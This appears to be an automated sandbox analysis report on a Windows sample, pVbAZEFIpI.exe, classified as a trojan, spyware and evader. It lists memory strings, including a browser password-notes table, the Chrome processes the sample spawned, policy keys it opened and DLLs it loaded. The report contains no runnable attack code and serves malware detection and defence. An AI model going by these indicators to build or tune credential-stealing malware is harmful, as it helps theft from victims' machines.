Source: pVbAZEFIpI.exe, 00000000.00000003.1752338986.0000000005E87000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs pVbAZEFIpI.exe
Source: pVbAZEFIpI.exe, 00000000.00000003.1752019213.0000000005DCD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs pVbAZEFIpI.exe
Source: pVbAZEFIpI.exe, 00000000.00000003.1757217082.0000000005F10000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs pVbAZEFIpI.exe
Source: pVbAZEFIpI.exe, 00000000.00000003.1754191312.0000000005D25000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs pVbAZEFIpI.exe
Source: pVbAZEFIpI.exe, 00000000.00000003.1762194922.0000000005D18000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs pVbAZEFIpI.exe
Source: pVbAZEFIpI.exe, 00000000.00000003.1762866978.0000000005E49000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs pVbAZEFIpI.exe
Source: pVbAZEFIpI.exe, 00000000.00000003.1753387793.0000000005EB0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs pVbAZEFIpI.exe
Source: pVbAZEFIpI.exe, 00000000.00000003.1755267828.0000000005D1E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs pVbAZEFIpI.exe
Source: pVbAZEFIpI.exe, 00000000.00000003.1759986683.0000000005E33000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs pVbAZEFIpI.exe
Source: pVbAZEFIpI.exe, 00000000.00000003.1749362251.0000000005B6B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs pVbAZEFIpI.exe
Source: pVbAZEFIpI.exe, 00000000.00000003.1759270123.0000000005E18000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs pVbAZEFIpI.exe
Source: pVbAZEFIpI.exe, 00000000.00000003.1752126485.0000000005D16000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs pVbAZEFIpI.exe
Source: pVbAZEFIpI.exe, 00000000.00000003.1759546585.0000000005F1A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs pVbAZEFIpI.exe
Source: pVbAZEFIpI.exe, 00000000.00000003.1794941803.00000000059A4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs pVbAZEFIpI.exe
Source: pVbAZEFIpI.exe, 00000000.00000003.1751199879.0000000005D1E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs pVbAZEFIpI.exe
Source: pVbAZEFIpI.exe, 00000000.00000003.1750267685.0000000005D21000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs pVbAZEFIpI.exe
Source: pVbAZEFIpI.exe, 00000000.00000003.1751820874.0000000005E82000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs pVbAZEFIpI.exe
Source: pVbAZEFIpI.exe, 00000000.00000003.1754432440.0000000005D22000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs pVbAZEFIpI.exe
Source: pVbAZEFIpI.exe, 00000000.00000003.1755569760.0000000005D1B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs pVbAZEFIpI.exe
Source: pVbAZEFIpI.exe, 00000000.00000003.1756994106.0000000005E0F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs pVbAZEFIpI.exe
Source: pVbAZEFIpI.exe, 00000000.00000003.1751475376.0000000005D24000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs pVbAZEFIpI.exe
Source: pVbAZEFIpI.exe, 00000000.00000003.1749458138.0000000005D1F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs pVbAZEFIpI.exe
Source: pVbAZEFIpI.exe, 00000000.00000003.1795059893.000000000578C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs pVbAZEFIpI.exe
Source: pVbAZEFIpI.exe, 00000000.00000003.1754881111.0000000005D1C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs pVbAZEFIpI.exe
Source: pVbAZEFIpI.exe, 00000000.00000003.1761690850.0000000005F4A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs pVbAZEFIpI.exe
Source: pVbAZEFIpI.exe, 00000000.00000003.1759738785.0000000005D1F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs pVbAZEFIpI.exe
Source: pVbAZEFIpI.exe, 00000000.00000003.1756431267.0000000005E10000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs pVbAZEFIpI.exe
Source: pVbAZEFIpI.exe, 00000000.00000003.1758574550.0000000005E17000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs pVbAZEFIpI.exe
Source: pVbAZEFIpI.exe, 00000000.00000003.1752231973.0000000005DD5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs pVbAZEFIpI.exe
Source: pVbAZEFIpI.exe, 00000000.00000003.1795169101.00000000010AB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs pVbAZEFIpI.exe
Source: pVbAZEFIpI.exe, 00000000.00000003.1750059178.0000000005D1F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs pVbAZEFIpI.exe
Source: pVbAZEFIpI.exe, 00000000.00000003.1756736215.0000000005D16000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs pVbAZEFIpI.exe
Source: pVbAZEFIpI.exe, 00000000.00000003.1755012297.0000000005DFE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs pVbAZEFIpI.exe
Source: pVbAZEFIpI.exe, 00000000.00000003.1752445937.0000000005D22000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs pVbAZEFIpI.exe
Source: pVbAZEFIpI.exe, 00000000.00000003.1749848608.0000000005D25000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs pVbAZEFIpI.exe
Source: pVbAZEFIpI.exe, 00000000.00000003.1754310015.0000000005E03000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs pVbAZEFIpI.exe
Source: pVbAZEFIpI.exe, 00000000.00000003.1772633952.0000000005D20000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs pVbAZEFIpI.exe
Source: pVbAZEFIpI.exe, 00000000.00000003.1756268650.0000000005D1A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs pVbAZEFIpI.exe
Source: pVbAZEFIpI.exe, 00000000.00000003.1770499196.0000000005D1C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs pVbAZEFIpI.exe
Source: pVbAZEFIpI.exe, 00000000.00000003.1753839063.0000000005D1A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs pVbAZEFIpI.exe
Source: pVbAZEFIpI.exe, 00000000.00000003.1770974296.0000000005E56000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs pVbAZEFIpI.exe
Source: pVbAZEFIpI.exe, 00000000.00000003.1749262822.0000000005D22000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs pVbAZEFIpI.exe
Source: pVbAZEFIpI.exe, 00000000.00000003.1749050233.0000000005A4C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs pVbAZEFIpI.exe
Source: pVbAZEFIpI.exe, 00000000.00000003.1757855866.0000000005D1E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs pVbAZEFIpI.exe
Source: pVbAZEFIpI.exe, 00000000.00000003.1750476648.0000000005D22000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs pVbAZEFIpI.exe
Source: pVbAZEFIpI.exe, 00000000.00000003.1762693671.0000000005D22000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs pVbAZEFIpI.exe
Source: pVbAZEFIpI.exe, 00000000.00000002.1879174061.00000000060D6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs pVbAZEFIpI.exe
Source: pVbAZEFIpI.exe, 00000000.00000003.1765825353.0000000005D24000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs pVbAZEFIpI.exe
Source: pVbAZEFIpI.exe, 00000000.00000003.1749652712.0000000005D1C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs pVbAZEFIpI.exe
Source: pVbAZEFIpI.exe, 00000000.00000003.1772170858.0000000005E5C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs pVbAZEFIpI.exe
Source: pVbAZEFIpI.exe, 00000000.00000003.1749951936.0000000005B6B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs pVbAZEFIpI.exe
Source: pVbAZEFIpI.exe, 00000000.00000003.1753956594.0000000005DF5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs pVbAZEFIpI.exe
Source: pVbAZEFIpI.exe, 00000000.00000003.1750588967.0000000005DCF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs pVbAZEFIpI.exe
Source: pVbAZEFIpI.exe, 00000000.00000003.1761111278.0000000005D19000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs pVbAZEFIpI.exe
Source: pVbAZEFIpI.exe, 00000000.00000003.1751615803.0000000005DD2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs pVbAZEFIpI.exe
Source: pVbAZEFIpI.exe, 00000000.00000003.1767718436.0000000005E5A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs pVbAZEFIpI.exe
Source: pVbAZEFIpI.exe, 00000000.00000003.1764217778.0000000005F81000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs pVbAZEFIpI.exe
Source: pVbAZEFIpI.exe, 00000000.00000003.1750164047.0000000005B6E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs pVbAZEFIpI.exe
Source: pVbAZEFIpI.exe, 00000000.00000003.1763441819.0000000005E4E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs pVbAZEFIpI.exe
Source: pVbAZEFIpI.exe, 00000000.00000003.1771318394.0000000005D19000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs pVbAZEFIpI.exe
Source: pVbAZEFIpI.exe, 00000000.00000003.1754654368.0000000005DFF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs pVbAZEFIpI.exe
Source: pVbAZEFIpI.exe, 00000000.00000003.1758318713.0000000005D1C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs pVbAZEFIpI.exe
Source: pVbAZEFIpI.exe, 00000000.00000003.1763716532.0000000005D22000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs pVbAZEFIpI.exe
Source: pVbAZEFIpI.exe, 00000000.00000003.1758183950.0000000005E1E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs pVbAZEFIpI.exe
Source: pVbAZEFIpI.exe, 00000000.00000003.1755400828.0000000005E0D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs pVbAZEFIpI.exe
Source: pVbAZEFIpI.exe, 00000000.00000003.1761864255.0000000005D1E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs pVbAZEFIpI.exe
Source: pVbAZEFIpI.exe, 00000000.00000003.1753605655.0000000005DE6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs pVbAZEFIpI.exe
Source: pVbAZEFIpI.exe, 00000000.00000003.1760573407.0000000005D20000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs pVbAZEFIpI.exe
Source: pVbAZEFIpI.exe, 00000000.00000002.1878378430.0000000005D1D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs pVbAZEFIpI.exe
Source: pVbAZEFIpI.exe, 00000000.00000003.1754071223.0000000005ED0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs pVbAZEFIpI.exe
Source: pVbAZEFIpI.exe, 00000000.00000003.1752911315.0000000005D1C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs pVbAZEFIpI.exe
Source: pVbAZEFIpI.exe, 00000000.00000003.1750370971.0000000005B68000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs pVbAZEFIpI.exe

Source: pVbAZEFIpI.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: pVbAZEFIpI.exe

Static PE information: Section: ZLIB complexity 0.9993872549019608

Source: pVbAZEFIpI.exe

Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@24/67@19/7

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps

Jump to behavior

Source: C:\Users\user\Desktop\pVbAZEFIpI.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: pVbAZEFIpI.exe, 00000000.00000003.1534268802.0000000005735000.00000004.00000800.00020000.00000000.sdmp, pVbAZEFIpI.exe, 00000000.00000003.1533762316.000000000574F000.00000004.00000800.00020000.00000000.sdmp, pVbAZEFIpI.exe, 00000000.00000003.1562272173.0000000005763000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: pVbAZEFIpI.exe	ReversingLabs: Detection: 71%
Source: pVbAZEFIpI.exe	Virustotal: Detection: 71%

Source: pVbAZEFIpI.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: pVbAZEFIpI.exe	String found in binary or memory: RRtlAllocateHeap3Cannot find '%s'. Please, re-install this applicationThunRTMain__vbaVarTstNeh

Source: C:\Users\user\Desktop\pVbAZEFIpI.exe

File read: C:\Users\user\Desktop\pVbAZEFIpI.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\pVbAZEFIpI.exe "C:\Users\user\Desktop\pVbAZEFIpI.exe"
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=pVbAZEFIpI.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2192 --field-trial-handle=1924,i,12059119630941512430,12876851585135929176,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=pVbAZEFIpI.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2120 --field-trial-handle=1908,i,13193354227088647173,12543081147738744135,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=pVbAZEFIpI.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	Jump to behavior
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=pVbAZEFIpI.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2192 --field-trial-handle=1924,i,12059119630941512430,12876851585135929176,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2120 --field-trial-handle=1908,i,13193354227088647173,12543081147738744135,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior

Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	Section loaded: windows.shell.servicehostbuilder.dll	Jump to behavior
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	Section loaded: mlang.dll	Jump to behavior
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	Section loaded: netapi32.dll	Jump to behavior
